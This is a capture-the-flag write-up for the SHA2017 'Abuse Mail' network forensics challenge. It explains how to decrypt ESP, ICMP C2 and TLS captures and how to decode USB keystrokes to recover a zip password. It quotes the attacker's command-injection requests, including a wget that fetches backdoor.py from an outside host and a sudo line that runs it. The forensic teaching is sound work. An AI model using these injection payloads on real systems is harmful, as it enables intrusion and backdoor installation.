SHA2017 CTF - Abuse Mail
Our abuse desk received an mail that someone from our network has hacked their company. With their help we found some suspected traffic in our network logs, but we can’t find what exactly has happened. Can you help us to catch the culprit?
Files: Download | Points: Network 300 |
Useful tools: wireshark tshark python |
Tags: advanced network |
Show Solution …
Initial Analysis
The challenge provides us with three packet captures to examine, numbered sequentially with the name abuse0x
. Taking a cursory glance through each led to the following observations:
- abuse01: Telnet data is visible along with IPSEC (ESP) encrypted data
- abuse02: All ICMP/Ping data with large, custom content in the data section
- abuse03: All ICMP/Ping data with large, custom content in the data section
I’m making the assumption at this stage that the ICMP traffic is data exfiltrations and/or C2 communication, but the data is indiscernable right now. I decide to examine abuse01 further since it is the only one with true plaintext data right now.
abuse01.pcap
Examining the telnet data reveals some ESP configurations:
This data gives us exactly the information we need to decrypt/decapsulate the ESP packets further in the capture. Enter the protocol preferences in Wireshark for ESP, click to edit the ESP SAs, and add in the information above into the table, one for each entry. It should look similar to this:
With the information in the table, check the box to Attempt to detect/decode encrypted ESP payloads
.
You’ll now see the decrypted traffic at the bottom of the pcap, all consisting of HTTP and other TCP traffic. Follow the stream for the HTTP traffic so we can see what is happening. You’ll notice a significant amount of GET requests with the attacker testing for command injection.
GET /?ip=google.com HTTP/1.1
GET /?ip=google.com;ls HTTP/1.1
GET /?ip=;ls%20-la HTTP/1.1
GET /?ip=;id HTTP/1.1
GET /?ip=;sudo%20-l HTTP/1.1
With the injection working, the attacker uploads a python script called backdoor.py
:
GET /?ip=%3Bwget%20http://10.5.5.207/backdoor.py%20-O%20/tmp/backdoor.py HTTP/1.1
The attacker also runs cat
on the script to ensure it successfully transferred, resulting in us being able to analyze the source code in full. A copy of the full backdoor.py file can be found in the challenge files.
Finally, the attacker launches the script, also giving it an argument K8djhaIU8H2d1jNb
:
GET /?ip=%3Bnohup%20sudo%20python%20/tmp/backdoor.py%20K8djhaIU8H2d1jNb%20\& HTTP/1.1
Backdoor.py reveals the AES algorithm used to encrypt C2 commands and data over ICMP (as seen in abuse02 and abuse03). I modified the script so that it reads packets from these pcaps instead of sniffing for them, and modified its output to decrypt the ICMP data and print it to the screen for each packet in both pcaps. We know the decryption key because it was passed as an argument by the attacker (K8djhaIU8H2d1jNb) and we don’t have to worry about the random IV because it’s appended to the data in each packet. Everything in the modified script is the same as the original except for this section:
Run the script against each pcap file to decode the ICMP messages back to C2 commands and data.
abuse02.pcap
This decrypted pcap contains a decent number of commands that were sent to the target, along with the return data of those commands. The most important things to take from here is an RSA private key. Save that for later.
abuse03.pcap
This decrypted pcap contains data exfiltration of two files, each noted above as usb.pcap
and intranet.pcap
, each in 500-byte encoded chunks.
The first field is the C2 command, the second field is the chunk number, and the third field is the B64 encoded data.
NOTE: The chunks are out of order. We’ll need to arrange them back so they are 0-x, where x is the highest numbered chunk. Once rearranged, strip out everything except the base64 chunks, then merge them all together (in order) into one nice long encoded string that represents the full file.
This is a different form of Base64 as you’ll see in the python script. Decoding it via normal means won’t work here, so we need to decode it with python’s base64.urlsafe_b64decode(...)
Decode both files into their original binary forms. This will give you intranet.pcap
and usb.pcap
intranet.pcap
This file is yet again encrypted, this time with TLS. Luckily, we can use the RSA key we got earlier to decrypt it. Configure Wireshark to use the RSA key for data coming from that IP address. Protocol Prefs >> RSA Key List
The pcap is now decrypted, and you will be able to extract a transferred file called secret.zip
. Guess what? The zip file is encrypted too. Of course it is. I set fcrackzip
to work on it while I move to work on the other pcap.
usb.pcap
This file is not a pcap with network packets, it’s a pcap with USB traffic, which isn’t fun to look at. The only useful data in a USB pcap is the “leftover capture data” that Wireshark doesn’t show to you by default. Add in this column to see it.
Leftover capture data exists, but it doesn’t look like anything useful. Some research will show that specifically the third byte of this field is valuable because it can be decoded to reveal what data was sent across the USB channel. Use a script to grab the third byte in the data, excluding “00” bytes which are useless:
tshark -r usb.pcap -T fields -e usb.capdata | awk -F: '{print $3}' | grep -v 00 > keys.txt
I called this file keys.txt because what these random hex codes are is key/character data. We’ll decode those next with the help of page 53 of http://www.usb.org/developers/hidpage/Hut1_12v2.pdf.
You can use a script to perform a simple hex-to-character substitution based on that chart. After decoding, you’ll see this line in the middle of the output:
Looks like that is the password used when opening up secret.zip. Unfortunately, it doesn’t work. I wrote a script to make a dictionary of all capitalization combinations of PYJ4M4P4RTY22017 for fcrackzip to use, but still no luck. Going back to the book, I noticed that the code for “2” is the same as the code for “@”. I replaced PYJ4M4P4RTY22017 with PYJ4M4P4RTY@2017 (made the most sense to me), re-made the dictionary, ran it against the zip, got the password Pyj4m4P4rtY@2017
.
Open up the zip and the flag is inside the secret.txt
file!